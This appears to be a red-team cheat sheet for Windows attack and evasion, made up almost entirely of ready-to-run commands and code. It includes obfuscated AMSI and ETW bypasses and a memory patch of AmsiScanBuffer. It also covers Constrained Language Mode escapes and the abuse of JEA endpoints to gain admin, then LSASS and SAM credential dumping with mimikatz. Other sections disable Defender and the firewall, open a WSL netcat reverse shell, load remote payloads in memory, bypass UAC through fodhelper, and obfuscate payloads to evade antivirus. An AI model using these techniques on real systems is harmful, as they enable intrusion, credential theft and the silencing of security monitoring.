Get all GPO's applied to a machine
System-wide transcription
Script Block logging
AntiMalware Scan Interface (AMSI)
Constrained Language Mode (CLM) - Integrated with Applocker and WDAC (Device Guard)
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
Not meant to be a security measure
powershell –executionpolicy bypass .\script.ps1
powershell –c <cmd>
powershell –enc
powershell.exe -executionpolicy bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AMSI bypass string obfuscated
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)
AMSI bypass string 2 obfuscated
$MethodDefinition = @"
[DllImport(`"kernel32`", EntryPoint="GetProcAddress")]
public static extern IntPtr GetProc(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`",EntryPoint="VirtualProtect" )]
public static extern bool Virtual(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kern' -NameSpace 'W' -PassThru;
$ABSD = 'Ams'+'iS'+'canBuffer';
$handle = [W.Kern]::GetModuleHandle('ams'+'i.dll');
[IntPtr]$BAddress = [W.Kern]::GetProc($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$PFlag = 0x40;
[UInt32]$OFlag = 0;
[W.Kern]::Virtual($BAddress, $Size, $PFlag, [Ref]$OFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BAddress, 6);
Event Tracing for Windows
Very effective way of hunting .NET
Reflectivly modify the PowerShell process to prevent events being published. ETW feeds ALL of the other logs so this disabled everything!
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider);
[Reflection.Assembly]::"l`o`AdwIThPa`Rti`AlnamE"(('S'+'ystem'+'.C'+'ore'))."g`E`TTYPE"(('Sys'+'tem.Di'+'agno'+'stics.Event'+'i'+'ng.EventProv'+'i'+'der'))."gET`FI`eLd"(('m'+'_'+'enabled'),('NonP'+'ubl'+'ic'+',Instance'))."seTVa`l`Ue"([Ref]."a`sSem`BlY"."gE`T`TyPE"(('Sys'+'tem'+'.Mana'+'ge'+'ment.Aut'+'o'+'mation.Tracing.'+'PSEtwLo'+'g'+'Pro'+'vi'+'der'))."gEtFIe`Ld"(('e'+'tw'+'Provid'+'er'),('N'+'o'+'nPu'+'b'+'lic,Static'))."gE`Tva`lUe"($null),0)
$ExecutionContext.SessionState.LanguageMode
Escapes for Constrained Language Mode
Launch Powershell Version 2
Powershell.exe -Version 2
Overwrite __PSLockdownPolicy variable
If CLM is not implemented correctly and is using __PSLockdownPolicy
Check the __PSLockdownPolicy value
Value 4 is enabled
Value 8 is disabled
(Get-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy").__PSLockDownPolicy
Set lockdown policy to 8 and check language mode
Set-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy" -Value 8
powershell.exe
$ExecutionContext.SessionState.LanguageMode
rundll32 PowerShx.dll,main -i
PowerShx.exe -i
PowerShdll Run PowerShell with dlls only.
rundll32 PowerShdll,main -i
Download files with certutil
You can not use iwr but you can use certutil in constrained language mode
certutil -urlcache -split -f <URL>
It is possible to execute scripts on the filesystem but you can't load them!
If applocker is there enumerate it to find a directory that lets you execute scripts in
Script Block logging bypass
With non-admin privileges:
RunWithRegistryNonAdmin.bat
Use Winrs instead of PSRemoting to evade System-wide-transcript and deep script block logging
winrs -remote:server1 -u:<COMPUTERNAME>\<USER> -p:<PASS> hostname
Defines allowed cmdledt and commands that are allowed by defining role capabilities.
Connect with JEA endpoint
$creds = get-credential
$sess = New-PSSession -ComputerName <FQDN> -ConfigurationName <JEA ENDPOINT CONF NAME> -Credential $creds
Get the PSSession configurations (and JEA)
Get-PSSessionconfiguration
Get PSSession capabilities
Get-PSSessionCapability -ConfigurationName <NAME> -Username <DOMAIN>\<USERNAME>
Get-Command
# Abuse example
Start-Process cmd.exe calc.exe
Abuse - Grant a user to admin
Add-ADGroupMember, Add-LocalGroupMember, net.exe, dsadd.exe
Abuse - Running arbritary code
Start-Process, New-Service, Invoke-Item, Invoke-WmiMethod, Invoke-Command,
New-ScheduledTask, Register-ScheduledJob
Invoke-Command -ScriptBlock {net localgroup administrators <USER> /add}
Abuse - Set-PSSessionConfiguration
Connect and check the config
$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration
$existingSDDL = (Get-PSSessionConfiguration -Name "<PROFILE>" -Verbose:$false).SecurityDescriptorSDDL
Get SID for new user to add
$SID = (Get-DomainUser <USER>).Objectsid
Create new SDDL with a new USER SID
$isContainer = $false
$isDS = $false
$SecurityDescriptor = New-Object -TypeName Security.AccessControl.CommonSecurityDescriptor -ArgumentList $isContainer,$isDS, $existingSDDL
$accessType = "Allow"
$accessMask = 268435456
$inheritanceFlags = "none"
$propagationFlags = "none"
$SecurityDescriptor.DiscretionaryAcl.AddAccess($accessType,$SID,$accessMask,$inheritanceFlags,$propagationFlags) | Out-Null
$newSDDL = $SecurityDescriptor.GetSddlForm("All")
$newSDDL
Set-PSSessionConfiguration -name "<PROFILE>" -SecurityDescriptorSddl "<SDDL>" -force -Confirm:$false
Reconnect and check the config
$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration
Connect to reconfigured new endpoint
$sess2 = New-PSSession -ComputerName <FQDN> -Credential $creds2 -ConfigurationName <RECONFIGURED ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration
AppLocker rules are split into 5 categories - Executable, Windows Installer, Script, Packaged App and DLLs, and each category can have its own enforcement (enforced, audit only, none).
AppLocker has a set of default allow rules such as, "allow everyone to execute anything within C:\Windows*" - the theory being that everything in C:\Windows is trusted and safe to execute.
The difficulty of bypassing AppLocker depends on the robustness of the rules that have been implemented. The default rule sets are quite trivial to bypass in a number of ways:
Executing untrusted code via trusts LOLBAS's.
Finding writeable directories within "trusted" paths.
By default, AppLocker is not even applied to Administrators.
Uploading into C:\Windows
requires elevated privileges, but there are places like C:\Windows\Tasks
that are writeable by standard users.
DLL enforcement very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break.
Good repo for bypasses: https://github.com/api0cradle/UltimateAppLockerByPassList
Check if applocker policy is running
Get-AppLockerPolicy -Effective
Enumerate applocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Check applocker policy in registery
reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2
Check policy with GPOresult
Open the HTLM file locally
Get-DomainGPO -Identity *applocker*
Parse-PolFile "<GPCFILESYSPATH FROM GET-DOMAINGPO>\Machine\Registry.pol" | select ValueName, ValueData
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
If code integrity is enforced and PowerShell is running in Constrained Langauge Mode use winrs instead of psremoting
runas /netonly /user:<DOMAIN\<USER> cmd.exe
winrs -r:<PC NAME> cmd
.p7b
is a signed policy
Check if there are any .xml
files which didn't got removed with the policy
ls C:\Windows\system32\CodeIntegrity
rundll32.exe and comsvcs.dll dumping lsass:
Get-Process | Select-String lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 708 C:\Users\Public\lsass.dmp full
dir C:\Users\Public\lsass.dmp
Invoke-Mimikatz -Command '"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"'
reg save HKLM\SECURITY security.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SAM sam.bak
Invoke-Mimikatz -Command '"lsadump::sam system.bak sam.bak"'
secretsdump.py -sam sam.bak -security security.bak -system system.bak local
Check if windows defender is running
Get-MpComputerStatus
Get-MpComputerStatus | Select RealTimeProtectionEnabled
Get info about Windows Defender
Find excluded folder from Windows Defender
Get-MpPreference | select Exclusion*
(Get-MpPreference).Exclusionpath
Set-MpPreference -ExclusionPath "<path>"
Get-DomainGPO -Identity *defender*
Parse-PolFile "<GPCFILESYSPATH FROM GET-DOMAINGPO>\Machine\Registry.pol" | select ValueName, ValueData
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPReference -DisableIOAVProtection $true
powershell.exe -c 'Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true'
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
powershell.exe -c 'Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False'
netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
Launch ConfuserEx
In Project tab select the Base Directory where the binary file is located.
In Project tab Select the Binary File that we want to obfuscate.
In Settings tab add the rules.
In Settings tab edit the rule and select the preset as Normal
.
In Protect tab click on the protect button.
We will find the new obfuscated binary in the Confused folder under the Base Directory.
Most examples are in PowerShell but techniques can be implemented in every coding language
Things that get you caught
Using Templates; MSbuild template / scripts / etc
Not changing variable & function names
Not removing comments
Not obfuscating common code exec patterns
Appplies to scripts, templates & Compiled code
Not changing error messages etc.
Entropy
Rougly - high entropy = more random
Higher entropy = less compressible
Problem: we encrypt shellcode to evade
encrypted shellcode = more random -> higher entropy
Dont randomize all the things
Changing default variable/func. names is good, but random characters is bad. Use two-word pairs.
How amsi evaluates PowerShell commands
The code is evaluated when its readable by the scripting engine
This is what allows us to still be able to obfuscate our code
# This
powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAoACIASABlAGwAbABvACAAVwBvAHIAbABkACIAKQA=
# Becomes
Write-Host("Hello World")
# But This
Write-Host("He" + "llo" + "World")
# Does not become
Write-Host("Hello World")
Change the following in scripts/code
Change Capitalization
PowerShell ignores capitalization, AMSI ignored capitalization, but changing your hash is best practice.
$variablename = "amsicontext"
to $VaRiAbLeNaMe = "amsicontext"
C# is case sensitive, but changing the capitalization changes the hash. (Must change every entry of the variable!)
Remove comments
Remove all comments out of the script/code
Change variable names
$variablename = "amsicontext"
to $LoremIpsum = "amsicontext"
Dont randomize all the things
Changing default variable/func. names is good, but random characters is bad. Use two-word pairs (Example: DragonBerrySmasher)
Concatenation
"amsicontext"
to "am" + "si" + "con" + "te" + "xt"
Variable insertion
$variablename = 'context'
into $variablename2 = "Amsi$variablename"
C# string variablename = "context"; string variablename2 = $"amsi{variablename}";
Format string
$variablename = "amsi{0}text -f "con"
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);
to $client = New-Object ("{0}{1}" -f 'SySteM.Ne', 'T.SoCkEts.TCPCliEnt')("10.10.10.10",80);
C# string variablename = "context"; string variablename2 = String.Format("amsi{0}",variablename);
Potentially the order of execution
Obfuscating shellcode
Shellcode as UUID
Reverse shellcode bytes
Break into chunks
Divide code into two arrays - even & odd bytes
Steganography
BigInteger() h/t
Shellcode as english words
Shellcode as Emoji
Lower entropy
Languages are not random
Create an array with a dictionary and compile it with the code (disable compiler optimization)
Misc
PowerShell
Properties of an object
Can be obfuscated with backticks $notify.icon
to $notify."i`c`on"
C#
Changing the variable type (i.e list vs array)
Rename your entrypoints
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32, EntryPoint = VirtualAlloc",
SetLastError = false, ExactSpelling = true)]
private static extern IntPtr SplendidDragon(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect);
Change methods and lines of code around.
Example of changing amsi bypass string
# Original amsi bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# New
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)
Defeating Microsoft Defender
Run Threatcheck .\ThreatCheck.exe -f .\shell.exe
Replace string which gets detected.
Recompile and check again!
.\ThreatCheck.exe -f .\shell.ps1 -e AMSI
.\AmsiTrigger.exe -i .\shell.ps1 -f 2
C:\Users\Public\Loader.exe -path http://xx.xx.xx.xx/something.exe
Use custom exe Assembyload to run netloader in memory and then load binary
C:\Users\Public\AssemblyLoad.exe http://xx.xx.xx.xx/Loader.exe -path http://xx.xx.xx.xx/something.exe
pyinstaller.exe --onefile .\CVE-2021-1675.py
pyarmor pack --clean -e "--onefile " .\CVE-2021-1675.py
Windows Subsystem for Linux WSL
AVs which do not use Pico process APIs have no visibility of the processes executed using WSL. This provides better chances of bypass.
With the additional Linux tooling included (like Python), WSL increases the attack surface of a machine and the opportunities to abuse the new functionality.
wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc <IP> <PORT> 1>/tmp/backpipe
In both the above cases, the Windows application will have:
– Same permissions as the WSL process.
– Run as the current Windows user.
– Uses the working directory as the WSL command prompt. That is we can access the Windows file system from WSL.
bash.exe -c cmd.exe
wsl.exe cmd.exe
Export the current user rights set by the group policies to a text file:
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
Change the SeDebugPrivileges to S-1-5-32-544
the Local administrator group.
notepad.exe secpolicy.inf
Save the new user rights set
secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS
Check privileges with whoami
if not having SeDebugPrivilege do PsExec.exe -i cmd.exe
Enable SMB shares for local admin users
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f
Get-service LanmanServer | restart-service -verbose
.\Akagi64.exe <METHOD> <EXECUTABLE>
.\Akagi64.exe 34 cmd.exe
Can also use C:\Windows\System32\cmd.exe /c powershell.exe
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "<PATH TO EXE>" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Check current UAC configuration
The default configuration for UAC is Prompt for consent for non-Windows binaries, but can also have different settings such as Prompt for credentials, Prompt for consent and Elevate without prompting.